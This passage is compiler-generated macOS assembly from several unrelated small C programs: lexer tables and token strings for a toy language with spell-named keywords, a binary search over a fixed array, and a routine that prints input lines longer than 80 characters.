.short 164 ## 0xa4
.short 166 ## 0xa6
.short 167 ## 0xa7
.short 168 ## 0xa8
.short 169 ## 0xa9
.short 170 ## 0xaa
.short 171 ## 0xab
.short 172 ## 0xac
.short 173 ## 0xad
.short 175 ## 0xaf
.short 176 ## 0xb0
.short 177 ## 0xb1
.short 178 ## 0xb2
.short 179 ## 0xb3
.short 180 ## 0xb4
.short 181 ## 0xb5
.short 183 ## 0xb7
.short 185 ## 0xb9
.short 187 ## 0xbb
.short 188 ## 0xbc
.short 189 ## 0xbd
.short 190 ## 0xbe
.short 191 ## 0xbf
.short 191 ## 0xbf
.short 192 ## 0xc0
.short 193 ## 0xc1
.short 194 ## 0xc2
.short 195 ## 0xc3
.short 196 ## 0xc4
.short 198 ## 0xc6
.short 200 ## 0xc8
.short 201 ## 0xc9
.short 202 ## 0xca
.short 204 ## 0xcc
.short 205 ## 0xcd
.short 206 ## 0xce
.short 207 ## 0xcf
.short 208 ## 0xd0
.short 209 ## 0xd1
.short 210 ## 0xd2
.short 211 ## 0xd3
.short 212 ## 0xd4
.short 213 ## 0xd5
.short 214 ## 0xd6
.short 215 ## 0xd7
.short 216 ## 0xd8
.short 217 ## 0xd9
.short 218 ## 0xda
.short 219 ## 0xdb
.short 220 ## 0xdc
.short 221 ## 0xdd
.short 222 ## 0xde
.short 223 ## 0xdf
.short 225 ## 0xe1
.short 227 ## 0xe3
.short 228 ## 0xe4
.short 229 ## 0xe5
.short 230 ## 0xe6
.short 231 ## 0xe7
.short 232 ## 0xe8
.short 233 ## 0xe9
.short 235 ## 0xeb
.short 236 ## 0xec
.short 237 ## 0xed
.short 238 ## 0xee
.short 240 ## 0xf0
.short 241 ## 0xf1
.short 242 ## 0xf2
.short 244 ## 0xf4
.short 245 ## 0xf5
.short 246 ## 0xf6
.short 247 ## 0xf7
.short 248 ## 0xf8
.short 250 ## 0xfa
.short 252 ## 0xfc
.short 253 ## 0xfd
.short 254 ## 0xfe
.short 255 ## 0xff
.short 257 ## 0x101
.short 259 ## 0x103
.short 261 ## 0x105
.short 262 ## 0x106
.short 264 ## 0x108
.short 266 ## 0x10a
.short 267 ## 0x10b
.short 268 ## 0x10c
.short 269 ## 0x10d
.short 270 ## 0x10e
.short 272 ## 0x110
.short 274 ## 0x112
.short 275 ## 0x113
.short 276 ## 0x114
.short 277 ## 0x115
.short 279 ## 0x117
.short 280 ## 0x118
.short 282 ## 0x11a
.short 282 ## 0x11a
.zerofill __DATA,__bss,_yy_lp,4,2 ## @yy_lp
.p2align 4 ## @yy_acclist
_yy_acclist:
.short 0 ## 0x0
.short 65 ## 0x41
.short 63 ## 0x3f
.short 64 ## 0x40
.short 57 ## 0x39
.short 63 ## 0x3f
.short 64 ## 0x40
.short 58 ## 0x3a
.short 64 ## 0x40
.short 59 ## 0x3b
.short 63 ## 0x3f
.short 64 ## 0x40
.short 63 ## 0x3f
.short 64 ## 0x40
.short 63 ## 0x3f
.short 64 ## 0x40
.short 46 ## 0x2e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 22 ## 0x16
.short 63 ## 0x3f
.short 64 ## 0x40
.short 23 ## 0x17
.short 63 ## 0x3f
.short 64 ## 0x40
.short 42 ## 0x2a
.short 63 ## 0x3f
.short 64 ## 0x40
.short 40 ## 0x28
.short 63 ## 0x3f
.short 64 ## 0x40
.short 24 ## 0x18
.short 63 ## 0x3f
.short 64 ## 0x40
.short 41 ## 0x29
.short 63 ## 0x3f
.short 64 ## 0x40
.short 27 ## 0x1b
.short 63 ## 0x3f
.short 64 ## 0x40
.short 44 ## 0x2c
.short 63 ## 0x3f
.short 64 ## 0x40
.short 61 ## 0x3d
.short 63 ## 0x3f
.short 64 ## 0x40
.short 26 ## 0x1a
.short 63 ## 0x3f
.short 64 ## 0x40
.short 25 ## 0x19
.short 63 ## 0x3f
.short 64 ## 0x40
.short 52 ## 0x34
.short 63 ## 0x3f
.short 64 ## 0x40
.short 56 ## 0x38
.short 63 ## 0x3f
.short 64 ## 0x40
.short 53 ## 0x35
.short 63 ## 0x3f
.short 64 ## 0x40
.short 63 ## 0x3f
.short 64 ## 0x40
.short 63 ## 0x3f
.short 64 ## 0x40
.short 20 ## 0x14
.short 63 ## 0x3f
.short 64 ## 0x40
.short 21 ## 0x15
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 62 ## 0x3e
.short 63 ## 0x3f
.short 64 ## 0x40
.short 18 ## 0x12
.short 63 ## 0x3f
.short 64 ## 0x40
.short 19 ## 0x13
.short 63 ## 0x3f
.short 64 ## 0x40
.short 55 ## 0x37
.short 1 ## 0x1
.short 43 ## 0x2b
.short 38 ## 0x26
.short 39 ## 0x27
.short 17 ## 0x11
.short 50 ## 0x32
.short 54 ## 0x36
.short 51 ## 0x33
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 13 ## 0xd
.short 62 ## 0x3e
.short 16 ## 0x10
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 49 ## 0x31
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 60 ## 0x3c
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 48 ## 0x30
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 15 ## 0xf
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 32 ## 0x20
.short 62 ## 0x3e
.short 45 ## 0x2d
.short 62 ## 0x3e
.short 47 ## 0x2f
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 28 ## 0x1c
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 36 ## 0x24
.short 62 ## 0x3e
.short 30 ## 0x1e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 14 ## 0xe
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 29 ## 0x1d
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 33 ## 0x21
.short 62 ## 0x3e
.short 4 ## 0x4
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 3 ## 0x3
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 34 ## 0x22
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 7 ## 0x7
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 12 ## 0xc
.short 62 ## 0x3e
.short 31 ## 0x1f
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 37 ## 0x25
.short 62 ## 0x3e
.short 8 ## 0x8
.short 62 ## 0x3e
.short 5 ## 0x5
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 35 ## 0x23
.short 62 ## 0x3e
.short 10 ## 0xa
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 2 ## 0x2
.short 62 ## 0x3e
.short 9 ## 0x9
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 6 ## 0x6
.short 62 ## 0x3e
.short 62 ## 0x3e
.short 11 ## 0xb
.short 62 ## 0x3e
.zerofill __DATA,__bss,_yy_full_match,8,3 ## @yy_full_match
.comm _yytext,8,3 ## @yytext
.comm _yyleng,4,2 ## @yyleng
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "STRING(%s) "
L_.str.1: ## @.str.1
.asciz "ALOHOMORA "
L_.str.2: ## @.str.2
.asciz "ABERTO "
L_.str.3: ## @.str.3
.asciz "FOCUS "
L_.str.4: ## @.str.4
.asciz "GEMINIO "
L_.str.5: ## @.str.5
.asciz "GIRATIEMPO "
L_.str.6: ## @.str.6
.asciz "FINITE "
L_.str.7: ## @.str.7
.asciz "EXAMINO "
L_.str.8: ## @.str.8
.asciz "APARECIUM "
L_.str.9: ## @.str.9
.asciz "REDITUS "
L_.str.10: ## @.str.10
.asciz "AVADAKEDAVRA "
L_.str.11: ## @.str.11
.asciz "SALTUS "
L_.str.12: ## @.str.12
.asciz "IF "
L_.str.13: ## @.str.13
.asciz "ELSE "
L_.str.14: ## @.str.14
.asciz "END "
L_.str.15: ## @.str.15
.asciz "IN "
L_.str.16: ## @.str.16
.asciz "COMMENT "
L_.str.17: ## @.str.17
.asciz "OPENCURL "
L_.str.18: ## @.str.18
.asciz "CLOSECURL "
L_.str.19: ## @.str.19
.asciz "OPENBRACKET "
L_.str.20: ## @.str.20
.asciz "CLOSEBRACKET "
L_.str.21: ## @.str.21
.asciz "OPENPARENT "
L_.str.22: ## @.str.22
.asciz "CLOSEPARENT "
L_.str.23: ## @.str.23
.asciz "COMMA "
L_.str.24: ## @.str.24
.asciz "SEMICOLON "
L_.str.25: ## @.str.25
.asciz "COLON "
L_.str.26: ## @.str.26
.asciz "DOT "
L_.str.27: ## @.str.27
.asciz "TRUE "
L_.str.28: ## @.str.28
.asciz "FALSE "
L_.str.29: ## @.str.29
.asciz "TYPECHAR "
L_.str.30: ## @.str.30
.asciz "TYPESTRING "
L_.str.31: ## @.str.31
.asciz "TYPEINT "
L_.str.32: ## @.str.32
.asciz "TYPEFLOAT "
L_.str.33: ## @.str.33
.asciz "DOUBLE "
L_.str.34: ## @.str.34
.asciz "POINTER "
L_.str.35: ## @.str.35
.asciz "TYPEBOOLEAN "
L_.str.36: ## @.str.36
.asciz "EBUBLIO "
L_.str.37: ## @.str.37
.asciz "AUTOPLUS "
L_.str.38: ## @.str.38
.asciz "AUTOMINUS "
L_.str.39: ## @.str.39
.asciz "PLUS "
L_.str.40: ## @.str.40
.asciz "MINUS "
L_.str.41: ## @.str.41
.asciz "MULT "
L_.str.42: ## @.str.42
.asciz "POW "
L_.str.43: ## @.str.43
.asciz "DIV "
L_.str.44: ## @.str.44
.asciz "MOD "
L_.str.45: ## @.str.45
.asciz "ANDPERSEAND "
L_.str.46: ## @.str.46
.asciz "NOT "
L_.str.47: ## @.str.47
.asciz "AND "
L_.str.48: ## @.str.48
.asciz "OR "
L_.str.49: ## @.str.49
.asciz "GREATEREQUAL "
L_.str.50: ## @.str.50
.asciz "LESSEQUAL "
L_.str.51: ## @.str.51
.asciz "GREATER "
L_.str.52: ## @.str.52
.asciz "LESS "
L_.str.53: ## @.str.53
.asciz "EQUALTO "
L_.str.54: ## @.str.54
.asciz "DIFFERENTTO "
L_.str.55: ## @.str.55
.asciz "EQUAL "
L_.str.56: ## @.str.56
.asciz "\t"
L_.str.57: ## @.str.57
.asciz "\n"
L_.str.58: ## @.str.58
.asciz " "
L_.str.59: ## @.str.59
.asciz "FLOAT(%d) "
L_.str.60: ## @.str.60
.asciz "INT(%d) "
L_.str.61: ## @.str.61
.asciz "WORD(%s) "
L_.str.62: ## @.str.62
.asciz "INVALIDTOKEN(%s) "
.zerofill __DATA,__bss,_yy_n_chars,4,2 ## @yy_n_chars
.zerofill __DATA,__bss,_yy_did_buffer_switch_on_eof,4,2 ## @yy_did_buffer_switch_on_eof
L_.str.63: ## @.str.63
.asciz "fatal flex scanner internal error--no action found"
L_.str.64: ## @.str.64
.asciz "out of dynamic memory in yy_create_buffer()"
L_.str.65: ## @.str.65
.asciz "out of dynamic memory in yy_scan_buffer()"
L_.str.66: ## @.str.66
.asciz "out of dynamic memory in yy_scan_bytes()"
L_.str.67: ## @.str.67
.asciz "bad buffer in yy_scan_bytes()"
L_.str.68: ## @.str.68
.asciz "t1.ms"
L_.str.69: ## @.str.69
.asciz "r"
L_.str.70: ## @.str.70
.asciz "fatal flex scanner internal error--end of buffer missed"
L_.str.71: ## @.str.71
.asciz "input buffer overflow, can't enlarge buffer because scanner uses REJECT"
L_.str.72: ## @.str.72
.asciz "input in flex scanner failed"
L_.str.73: ## @.str.73
.asciz "%s\n"
.subsections_via_symbols
| the_stack_data/154704.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #28]
adrp x8, l___const.main.num@PAGE
add x8, x8, l___const.main.num@PAGEOFF
ldr q0, [x8]
str q0, [sp, #32]
ldr q0, [x8, #16]
str q0, [sp, #48]
mov w8, #100
str w8, [sp, #24]
str wzr, [sp, #20]
mov w8, #7
str w8, [sp, #16]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_9
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #20]
ldr w9, [sp, #16]
add w8, w8, w9
mov w9, #2
sdiv w8, w8, w9
str w8, [sp, #12]
ldrsw x9, [sp, #12]
add x8, sp, #32
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr w9, [sp, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
str wzr, [sp, #28]
b LBB0_10
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldrsw x9, [sp, #12]
add x8, sp, #32
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_7
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #1
str w8, [sp, #16]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_9:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
str wzr, [sp, #28]
b LBB0_10
LBB0_10:
ldr w8, [sp, #28]
str w8, [sp, #8] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
bl ___stack_chk_fail
LBB0_12:
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2 ; @__const.main.num
l___const.main.num:
.long 1 ; 0x1
.long 3 ; 0x3
.long 5 ; 0x5
.long 6 ; 0x6
.long 40 ; 0x28
.long 50 ; 0x32
.long 60 ; 0x3c
.long 100 ; 0x64
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Item found at index: %d\n"
l_.str.1: ; @.str.1
.asciz "Item not found\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -52(%rbp)
movq l___const.main.num(%rip), %rax
movq %rax, -48(%rbp)
movq l___const.main.num+8(%rip), %rax
movq %rax, -40(%rbp)
movq l___const.main.num+16(%rip), %rax
movq %rax, -32(%rbp)
movq l___const.main.num+24(%rip), %rax
movq %rax, -24(%rbp)
movl $100, -56(%rbp)
movl $0, -60(%rbp)
movl $7, -64(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -60(%rbp), %eax
cmpl -64(%rbp), %eax
jg LBB0_9
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -60(%rbp), %eax
addl -64(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, -68(%rbp)
movslq -68(%rbp), %rax
movl -48(%rbp,%rax,4), %eax
cmpl -56(%rbp), %eax
jne LBB0_4
## %bb.3:
movl -68(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -52(%rbp)
jmp LBB0_10
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movslq -68(%rbp), %rax
movl -48(%rbp,%rax,4), %eax
cmpl -56(%rbp), %eax
jge LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -60(%rbp)
jmp LBB0_7
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movl -68(%rbp), %eax
subl $1, %eax
movl %eax, -64(%rbp)
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_8
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_9:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -52(%rbp)
LBB0_10:
movl -52(%rbp), %eax
movl %eax, -72(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_12
## %bb.11:
movl -72(%rbp), %eax ## 4-byte Reload
addq $80, %rsp
popq %rbp
retq
LBB0_12:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @__const.main.num
l___const.main.num:
.long 1 ## 0x1
.long 3 ## 0x3
.long 5 ## 0x5
.long 6 ## 0x6
.long 40 ## 0x28
.long 50 ## 0x32
.long 60 ## 0x3c
.long 100 ## 0x64
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Item found at index: %d\n"
L_.str.1: ## @.str.1
.asciz "Item not found\n"
.subsections_via_symbols
| the_stack_data/173042.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #16]
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
add x0, sp, #20
mov w1, #100
bl _my_getline
str w0, [sp, #12]
subs w8, w0, #0
cset w8, le
tbnz w8, #0, LBB0_5
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #80
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
add x8, sp, #20
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_5:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
bl ___stack_chk_fail
LBB0_7:
mov w0, #0
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
add sp, sp, #144
ret
.cfi_endproc
; -- End function
.globl _my_getline ; -- Begin function my_getline
.p2align 2
_my_getline: ; @my_getline
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str wzr, [sp, #16]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
ldur w9, [x29, #-12]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
bl _getchar
str w0, [sp, #12]
adds w8, w0, #1
cset w8, eq
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #10
cset w8, ne
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8] ; 4-byte Folded Reload
tbz w8, #0, LBB1_7
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #12]
ldur x9, [x29, #-8]
ldrsw x10, [sp, #16]
strb w8, [x9, x10]
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB1_1
LBB1_7:
ldr w8, [sp, #12]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8:
ldr w8, [sp, #12]
ldur x9, [x29, #-8]
ldrsw x10, [sp, #16]
strb w8, [x9, x10]
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB1_9
LBB1_9:
ldur x8, [x29, #-8]
ldrsw x9, [sp, #16]
add x8, x8, x9
strb wzr, [x8]
ldr w0, [sp, #16]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _copy ; -- Begin function copy
.p2align 2
_copy: ; @copy
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
str wzr, [sp, #12]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
ldr x9, [sp, #16]
ldrsw x10, [sp, #12]
strb w8, [x9, x10]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB2_1
LBB2_3:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
movl $0, -120(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
leaq -112(%rbp), %rdi
movl $100, %esi
callq _my_getline
movl %eax, -120(%rbp)
cmpl $0, %eax
jle LBB0_5
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
cmpl $80, -120(%rbp)
jle LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
leaq -112(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_5:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_7
## %bb.6:
xorl %eax, %eax
addq $128, %rsp
popq %rbp
retq
LBB0_7:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _my_getline ## -- Begin function my_getline
.p2align 4, 0x90
_my_getline: ## @my_getline
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %ecx
movl -12(%rbp), %edx
subl $1, %edx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl %edx, %ecx
movb %al, -21(%rbp) ## 1-byte Spill
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
callq _getchar
movl %eax, %ecx
movl %ecx, -20(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $-1, %ecx
movb %al, -21(%rbp) ## 1-byte Spill
je LBB1_4
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
cmpl $10, -20(%rbp)
setne %al
movb %al, -21(%rbp) ## 1-byte Spill
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
movb -21(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_5
jmp LBB1_7
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
movl -20(%rbp), %eax
movb %al, %dl
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
movb %dl, (%rax,%rcx)
## %bb.6: ## in Loop: Header=BB1_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB1_1
LBB1_7:
cmpl $10, -20(%rbp)
jne LBB1_9
## %bb.8:
movl -20(%rbp), %eax
movb %al, %dl
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
movb %dl, (%rax,%rcx)
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
LBB1_9:
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
movb $0, (%rax,%rcx)
movl -16(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _copy ## -- Begin function copy
.p2align 4, 0x90
_copy: ## @copy
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
